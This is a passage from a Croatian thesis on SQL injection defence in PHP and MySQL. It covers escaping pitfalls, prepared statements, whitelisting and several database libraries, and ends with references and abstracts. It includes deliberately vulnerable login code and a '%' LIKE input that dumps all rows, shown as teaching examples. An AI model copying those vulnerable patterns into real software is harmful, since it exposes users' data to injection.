     echo ‘Your credit card number is ‘.$data[‘credit_card’].”;

}

else

{

     echo ‘Incorrect Username or Password! Go Away!’;

}

Primjer koda 7.15 Prijava korisnika (PHP) [34]

 

Programski odsječak pokazuje tipičan PHP kod za prijavljivanje korisnika. Problem nastaje kada postoje određeni znakovi, npr. jednostruki navodnik, u imenu osobe poput  Peter O'Reilly za kojeg možemo pretpostaviti kako bi htio koristiti korisničko ime PeterO'Reilly. MySQL prepoznaje korisničko ime kao 'PeterO', no ne zna što bi s ostatkom te javlja sintaksnu pogrešku [34].

Pokušaj rješavanja ovog problema je escaping koji je postojao pod nazivom Magic quotes. Pokušaj, i postojao, zato što je u verziji PHP 5.3.0. označen nepoželjnim, a s verzijom PHP 5.4.0. u potpunosti izbačen. Ako je značajka (engl. feature) Magic quotes uključena ona automatski kodira znakove jednostrukih i dvostrukih navodnika te obrnute kose crte tako što ispred svakog znaka doda obrnutu kosu crtu u svim podacima koji su došli u aplikaciju putem protokola HTTP. Samim time što postavka može biti uključena, isključena ili neprisutna u određenoj verziji, kod nije prenosiv.

Drugi pokušaj rješavanja može biti korištenje funkcije addslashes() koja bi ručno dodavala znak obrnute kose crte ispred određenih znakova. Ako programer sam brine o specijalnim znakovima i ne postoji provjera je li postavka uključena moguć je sljedeći scenarij pod nazivom The magic breeding slashed quote [34].

Događa se sljedeće:

1.     Korisnikov unos:      O’Reilly

2.     Magic quotes:          O\’Reilly

3.     addslashes():            O\\\’Reilly

4.     Rezultat MySQL-a:   O\’Reilly

 

Rezultat je da je u bazu pohranjeno O\’Reilly kada je zapravo željeno O’Reilly, što ujedno znači da se prilikom prikaza podataka iz baze mora još pozvati funkcija stripslashes().

S razlogom je opisana značajka izbačena iz jezika. Pohranjeni podaci mogu biti zagađeni nečime što korisnik nije unio te postoji velika ovisnost o tome je li neka postavka uključena ili ne. Ova (loša) tehnika opisana je u radu jer još uvijek postoji mnoštvo (zastarjelog) sadržaja na Internetu koji preporučuje njeno korištenje te kako bi se jasnije vidjela razlika između lošijih i boljih tehnika.

 

7.2.2.     Unaprijeđeni Magic quotes

 

Malo bolja verzija escapinga je uporaba MySQL biblioteke mysql_* functions i postojeće funkcije mysql_real_escape_string() koja uzima u obzir skup znakova (engl. character set) konekcije na bazu podataka. Potrebna je aktivna konekcija prema bazi, a u protivnom dolazi do pogreške.  

 

 

// Remove the pesky slashes from magic quotes if it’s turned on

function clean_string($value, $DB)

{

     if (get_magic_quotes_gpc())

     {

           $value = stripslashes($value);

     }

 

     // Escape things properly

     return mysql_real_escape_string($value, $DB);

}

 

$string = “O’Reilly”;

 

// Where $db is your active database connection resource id.

$safe_string = clean_string($string, $db);

Primjer koda 7.16 Uporaba funkcije mysql_real_escape_string (PHP) [34]

 

Kao što je prikazano u Primjer koda 7.16 i dalje je potrebno provjeriti koristi li se Magic quotes pa poboljšana verzija nije veliki odmak. To se provjerava funkcijom get_magic_quotes_gpc()  te ako se Magic quotes koristi potrebno je dodatno pozvati funkciju stripslashes().

 

$user_input = ‘%’;


$query = “SELECT x,y,z FROM tablename WHERE user LIKE ‘%$user_input%’;


// Becomes LIKE %%% -> and returns all rows in tablename.

Primjer koda 7.17 Propust funkcije mysql_real_escape_string (PHP) [34]

 

Funkcija mysql_real_escape_string() ne kodira znak postotka koji se koristi primjerice u LIKE dijelovima upita.

Napadač može promijeniti skup znakova te time zaobići cijeli sistem obrane stoga uporaba ove funkcije nije dovoljno dobro rješenje za obranu od umetanja programskog koda SQL. U skladu s time, funkcija mysql_real_escape_string() označena je nepoželjnom u PHP verziji 5.5.0 te potpuno izbačena u PHP verziji 7.0.0 te ju ima smisla koristiti jedino još u starom legacy kodu u starijim verzijama programskog jezika PHP.

7.2.3.     Formatiranje

 

Pravila za formatiranje nisu jednostavna i zahtijevaju određen napor stoga se puno lakše prikloniti opcijama escapeinga, što je prihvatljivo samo u iznimnim slučajevima. SQL upit je program, sa sintaksom koji koristi različite tipove podataka koje je sve potrebno zasebno formatirati. Kvalitetno formatiranje korištenjem pojedinih jednostavnih funkcija poput mysql_real_escape_string() nije moguće te su takve funkcije s razlogom izbačene iz jezika. Jedan poziv “magične“ funkcije ne može zamijeniti cijele skupove pravila za formatiranje.

 

Pravila za formatiranje za MySQL bazu podataka [35]:

Znakovni nizovi

-        Trebaju biti dodavani putem pripremljenih naredbi ili zatvoreni navodnicima

-        Specijalni znakovi moraju proći escaping

-        Korisnički unos može biti kodiran u heksadekadskom sustavu ili na klijentskoj strani treba biti postavljeno kodiranje (engl. encoding)

 

Brojevi

-        Trebaju biti dodavani putem pripremljenih naredbi

-        Ako nisu dodavani putem pripremljenih naredbi moraju biti validirani i formatirani tako da sadrže samo brojeve, predznak i decimalni zarez ili točku

 

Identifikatori

-        trebaju biti zatvoreni jednostrukim navodnicima

-        Specijalni znakovi moraju proći escaping

 

Operatori i ključne riječi

-        trebaju biti popisani u bijeloj listi

 

Problem nastaje kada se radi ručno formatiranje. Nikad se ručno ne bi trebao obrađivati korisnički unos već implementirati mehanizam koji to formatiranje odrađuje. Ručno formatiranje je sklono pogreškama jer ovisi o previše ljudskih faktora. Lako je previdjeti nešto čime formatiranje postaje nepotpuno. Važno je da se formatiranje odvija na jednom mjestu te samo jednom i u pravom trenutku. Sve što ulazi u SQL upit mora biti formatirano bez obzira na to je li došlo od strane korisnika ili kao rezultat izvođenja dijela koda. Ako se pravilno formatiranje postavi kao obavezno, siguran kod doći će sam po sebi kao popratna pojava.


 

7.2.4.     Pripremljene naredbe

 

Tehnika obrane od umetanja programskog koda SQL, pripremljene naredbe, opisana je detaljnije u poglavlju 7.1.1. Ovo poglavlje bit će fokusirano na praktičnu primjenu u programskom jeziku PHP.

 

$stmt = $db->prepare('update people set name = ? where id = ?');

 

$stmt->bind_param('si',$name,$id);

 

$stmt->execute();

Primjer koda 7.18 Pripremljena naredba (PHP) [37]

 

Primjer koda 7.19 koristi MySQLi (engl. MySQL Improved), biblioteku za PHP koja pruža sučelje prema bazama podataka MySQL.

 

$variable = “O’Reilly”;

 

// Prepare the query

$query = $mysqli->prepare(“SELECT x, y, z FROM tablename WHERE user = ?”);

 

// Bind a parameter, ‘s’ = string, ‘d’ = double, ‘i’ = integer, ‘b’ = blob

$query->bind_param(‘s’, $variable);

 

// Execute query

$query->execute( );

 

// More complex query

$query = $mysqli->prepare(“UPDATE tablename SET favorite_color = ?, age = ?, description = ? WHERE user = ?”);

 

$query->bind_param(‘sibs’, ‘red’, 27, $some_blob, $variable);

$query->execute();

Primjer koda 7.19 Uporaba MySQLi (PHP) [34]

 

Uz biblioteku MySQLi, najčešće možemo pronaći korištenje PDO-a. PDO (engl. PHP Data Objects) predstavlja čist način pristupa bazi podataka što međuostalom znači da programeri mogu puno lakše pisati prenosiv kod. Nije apstrakcijski sloj, već podatkovni koji pristupa bazi podataka i smatra se univerzalnim rješenjem jer pruža podršku za sve najpoznatije sustave baza podataka.

 

$dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);

 

$stmt = $dbh->prepare('INSERT INTO REGISTRY (name, value) VALUES (:name, :value)');

 

$stmt->bindParam(':name', $name);

$stmt->bindParam(':value', $value);

 

// Insert one row

$name = 'one';

$value = 1;

 

$stmt->execute();

Primjer koda 7.20 Uporaba PDO (PHP) [37]

 

$dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);

 

$stmt = $dbh->prepare('UPDATE people SET name = :new_name WHERE id = :id');

 

$stmt->execute( array('new_name' => $name, 'id' => $id) );

Primjer koda 7.21 Uporaba PDO (PHP) [37]

 

Pripremljene naredbe mogu spriječiti napade umetanjem programskog koda SQL, no ne mogu spriječiti loše podatke stoga korisničke unose u svakom slučaju treba validirati, što se razlikuje od escapinga ili formatiranja. U većini slučajeva, u programskom jeziku PHP, korisna je funkcija filter_var() čija je primjena prikazana u Primjer koda 7.22.

 

 

$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);

 

if (empty($email)) {

    throw new InvalidArgumentException('Invalid email address');

}

Primjer koda 7.22 Validacija uporabom funkcije filter_var() (PHP) [36]

 

Kako je opisano u poglavlju 7.1.3. za određene slučajeve varijable ne mogu biti parametrizirane stoga se mora koristiti bijela lista.

 

$dir = $_GET['dir'] == 'DESC' ? 'DESC' : 'ASC';

 

$sql = "SELECT * FROM t ORDER BY field $dir";

Primjer koda 7.23 Validacija poretka sortiranja (PHP) [35]

 

$qs = 'SELECT * FROM photos WHERE album = ?';

 

// Use switch-case for an explicit whitelist

switch ($_POST['orderby']) {

    case 'name':

    case 'uploaded':

       // These strings are trusted and expected

       $qs .= ' ORDER BY ' . $_POST['orderby'];

       if (!empty($_POST['asc'])) {

           $qs .= ' ASC';

       } else {

           $qs .= ' DESC';

       }

       break;

    default:

       // Some other value was passed

       $qs .= ' ORDER BY photoid DESC';

    }

$stmt = $db->prepare($qs);

if ($stmt->execute([$_POST['album_id']])) {

    $photos = $stmt->fetchAll(\PDO::FETCH_ASSOC);

}

Primjer koda 7.24 Validacija naziva tablica i atributa (PHP) [36]

Kako se nazivi tablica i atributa ne mogu parametrizirati također ih treba validirati, a ne samo napraviti escapeing posebnih znakova poput jednostrukog navodnika.

 

if (!preg_match('/^[A-Za-z][A-Za-z0-9_]*$/', $table)) {

    throw new AppSpecificSecurityException("Possible SQL injection attempt.");

}

 

// And now you can safely use it in a query:

$stmt = $pdo->prepare("SELECT * FROM {$table}");

 

if ($stmt->execute()) {

    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);

}

Primjer koda 7.25 Validacija naziva tablica (PHP) [36]

 

Navedeni programski odsječak dozvoljava samo naziv tablice takav da počinje velikim ili malim slovom te se sastoji samo od alfanumeričkih znakova (brojke i slova) i donje povlake.

 

 

Dodatne bibilioteke koje podržavaju parametrizaciju

 

ADOdb je jednostavan, brz i popularan apstraktni sloj prema bazi podataka za programski jezik PHP. Omogućava pripremu, povezivanje parametara i izvršavanje u jednom pozivu metode te je neovisan o sustavu baze podataka.

 

$dbConnection = NewADOConnection($connectionString);

 

$sqlResult = $dbConnection->Execute(

    'SELECT user_id,first_name,last_name FROM users WHERE username=? AND password=?',

    array($_REQUEST['username'], sha1($_REQUEST['password'])

);

Primjer koda 7.26 Uporaba ADOdb [37]

 

ODBC (engl. Open Database Connectivity) je standardan API za pristup sustavima za upravljanje bazama podataka. Neovisan je o sustavu baza podataka i operativnom sustavu što znači da napisan kod prenosiv.

 

$stmt = odbc_prepare( $conn, 'SELECT * FROM users WHERE email = ?' );

 

$success = odbc_execute( $stmt, array($email) );

Primjer koda 7.27 Uporaba ODBC [37]

 

$dbh = odbc_exec($conn, 'SELECT * FROM users WHERE email = ?', array($email));

 

$sth = $dbh->prepare('SELECT * FROM users WHERE email = :email');

 

$sth->execute(array(':email' => $email));

Primjer koda 7.28 Uporaba ODBC [37]

 

EasyDB je još jedna biblioteka za programski jezik PHP koja podržava i dinamičke upite. Više primjera moguće je pronaći na EasyDB.

 

$rows = $db->run(

     'SELECT * FROM comments WHERE blogpostid = ? ORDER BY created ASC',

     $_GET['blogpostid']

);

Primjer koda 7.29 Uporaba EasyDB [36]

 

Zaključak

 

Informiranost o sigurnosnim ranjivostima i mogućim posljedicama iskorištavanja ključan je preduvjet za siguran dizajn i ostvarenja programskih sustava. Najčešći napadi koji iskorištavaju ranjivosti su napadi umetanjem programskog koda SQL te iako je lako izbjeći većinu napada, nedostaje znanja i svjesnosti o mogućim posljedicama da se takvi napadi onemoguće. Postoje zajednice koje stvaraju vodiče i dokumente s fokusom na tehnike kojima se sprečavaju napadi umetanjem programskog koda SQL i takve izvore treba koristiti prilikom izrade sustava i programa. Sa strane napadača, također je vrlo lako pronaći resurse s informacijama o izvođenju napada te postoji mnoštvo alata koji olakšavaju napadaču tako što automatiziraju cijeli proces. U bazama podataka se obično nalaze svi važni, pa samim time i napadačima zanimljivi, podaci aplikacije. Uviđanjem u jednostavnost izvođenja i pristupačnost informacija potrebno je više vremena i truda uložiti oko sprečavanja ranjivosti i izvođenja napada te time i mogućih velikih gubitaka. Postoji više tehnika za obranu od umetanja programskog koda SQL no potrebno je paziti u kojem kontekstu se koriste budući da općenito najbolje rješenje nije svugdje primjenjivo ili optimalno.

Sigurnost počinje s programerima. Svaki podatak je potencijalno opasan, bez obzira na način kojim je dospio u aplikaciju. Sve što se koristi treba biti validirano i formatirano i trebaju se koristiti postojeća, i prema situaciji, optimalna rješenja. Imajući to na umu siguran kod dolazi kao popratna pojava i ne zadaje programerima toliko brige oko sigurnosti.

 

 

Literatura

 

[1] Wikipedia, SQL Injection [Online] Dostupno na: https://en.wikipedia.org/wiki/SQL_injection

[2] Wikipedia, Code Injection [Online] Dostupno na: https://en.wikipedia.org/wiki/Code_injection

[3] Wikipedia, Vulnerability [Online] Dostupno na: https://en.wikipedia.org/wiki/Vulnerability_%28computing%29

[4] Wikipedia, OWASP [Online] Dostupno na: https://en.wikipedia.org/wiki/OWASP

[5] OWASP, Top 10 2013 [Online] Dostupno na: https://www.owasp.org/index.php/Top_10_2013-Table_of_Contents

[6] OWASP, Top 10 – A1 Injection [Online] Dostupno na: https://www.owasp.org/index.php/Top_10_2013-A1-Injection

[7] OWASP, Testing for SQL Injection [Online] Dostupno na: https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OTG-INPVAL-005%29

[8] OWASP, SQL Injection Prevention Cheat Sheet [Online] Dostupno na: https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

[9] Wikipedia, Vulnerability Database [Online] Dostupno na: https://en.wikipedia.org/wiki/Vulnerability_database

[10] CVE, Common Vulnerabilities and Exposures [Online] Dostupno na: http://cve.mitre.org/find/index.html

[11] NVD, National Vulnerability Database [Online] Dostupno na: https://nvd.nist.gov/

[12] IBM, IBM X-Force Exchange[Online] Dostupno na: https://exchange.xforce.ibmcloud.com/

[13] LinkedIn, Best Free Open Source SQL Injection Tools[Online] Dostupno na: https://www.linkedin.com/pulse/best-free-open-source-sql-injection-tools-ismail-orhan-bsceng-ceh

[14] Aldeid, The Mole [Online] Dostupno na: https://www.aldeid.com/wiki/TheMole

[15] Sourceforge, The Mole [Online] Dostupno na: https://sourceforge.net/projects/themole/

[16] Sourceforge, sqlsus [Online] Dostupno na: http://sqlsus.sourceforge.net/

[17] Sourceforge, Safe3 SQL Injector [Online] Dostupno na: https://sourceforge.net/projects/safe3si/?source=navbar

[18] Sourceforge, Sqlninja [Online] Dostupno na: http://sqlninja.sourceforge.net/

[19] Github, sqlmap [Online] Dostupno na: https://github.com/sqlmapproject/sqlmap

[20] Github, BSQL Hacker [Online] Dostupno na: https://github.com/portcullislabs/bsql-hacker

[21] MySQL, Službena MySQL dokumentacija [Online] Dostupno na: http://dev.mysql.com/doc/refman/5.7/en/

[22] Pentestmonkey, MySQL SQL Injection Cheat Sheet [Online] Dostupno na: http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

[23] SQL Injection Wiki, MySQL SQL Injection Cheat Sheet [Online] Dostupno na: http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/#InitialExploitation

[24] Kolar, A., Provjera ranjivosti programskih sustava s naglaskom na umetanje SQL koda, 2016, Fakultet elektrotehnike i računarstva

[25] Microsoft, HttpClass [Online] Dostupno na: https://msdn.microsoft.com/en-us/library/system.net.http.httpclient(v=vs.118).aspx

[26] Microsoft, Stopwatch [Online] Dostupno na: https://msdn.microsoft.com/en-us/library/system.diagnostics.stopwatch(v=vs.110).aspx

[27] Json.NET Documentation, JsonConvert [Online] Dostupno na: http://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_JsonConvert.htm

[28] Wikipedia, Code Injection [Online] Dostupno na: https://en.wikipedia.org/wiki/Code_injection#Preventing_code_injection_problems

[29] Wikipedia, Secure Input and Output Handling [Online] Dostupno na: https://en.wikipedia.org/wiki/Secure_input_and_output_handling

[30] OWASP, SQL Injection Prevention Cheat Sheet [Online] Dostupno na: https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

[31] Wikipedia, Prepared statement [Online] Dostupno na: https://en.wikipedia.org/wiki/Prepared_statement

[32] OWASP, Query Parameterization Cheat Sheet [Online] Dostupno na: https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet

[33] Wikipedia, Stored procedure [Online] Dostupno na: https://en.wikipedia.org/wiki/Stored_procedure

[34] simon.net.nz, Protecting MySQL from SQL Injection Attacks with PHP [Online] Dostupno na: http://simon.net.nz/articles/protecting-mysql-sql-injection-attacks-using-php/

[35] PHP Delusions, The Hitchiker’s Guide to SQL Injection Prevention [Online] Dostupno na: https://phpdelusions.net/sql_injection

[36] Paragon Initiative, Preventing SQL Injection in PHP Applications [Online] Dostupno na: https://paragonie.com/blog/2015/05/preventing-sql-injection-in-php-applications-easy-and-definitive-guide

[37] Bobby Tables, A Guide to Preventing SQL Injection [Online] Dostupno na: http://bobby-tables.com/php

[38] OWASP, Enterprise Security API [Online] Dostupno na: https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

 

Sažetak

 

U radu je objašnjen pojam sigurnosnih ranjivosti i predstavljene su najvažnije baze ranjivosti koje čuvaju podatke o otkrivenim ranjivostima. Pojašnjen je princip umetanja koda i pobliže umetanje programskog koda SQL, standardno ispitivanje otpornosti sustava na umetanje SQL koda te pregled i usporedba alata za provjeru ranjivosti na napade. Detaljno su pojašnjene tehnike napada umetanjem SQL koda i predstavljena vlastita implementacija jednostavnog alata s nekoliko navedenih tehnika. Rad je zaokružen tehnikama obrana od umetanja koda općenito te umetanja SQL koda s posebnim naglaskom na prakse vezane za programski jezik PHP i sustav za upravljanje bazama podataka MySQL.

 

Summary

 

This thesis explains the concept of security vulnerabilities and introduces the most important vulnerability databases that contain information about known vulnerabilities. Additionally, it explains the concepts of code injection, and particularly SQL code injection, as well as standard SQL injection resistance testing, and provides a list and comparison of the various tools for vulnerability testing. It details techniques for SQL injection attacks and provides a custom implementation for an attack tool utilizing some of those techniques. The thesis closes with general code, and particularly SQL code injection defense techniques, with an emphasis on practices concerning the PHP programming language and the MySQL database management system.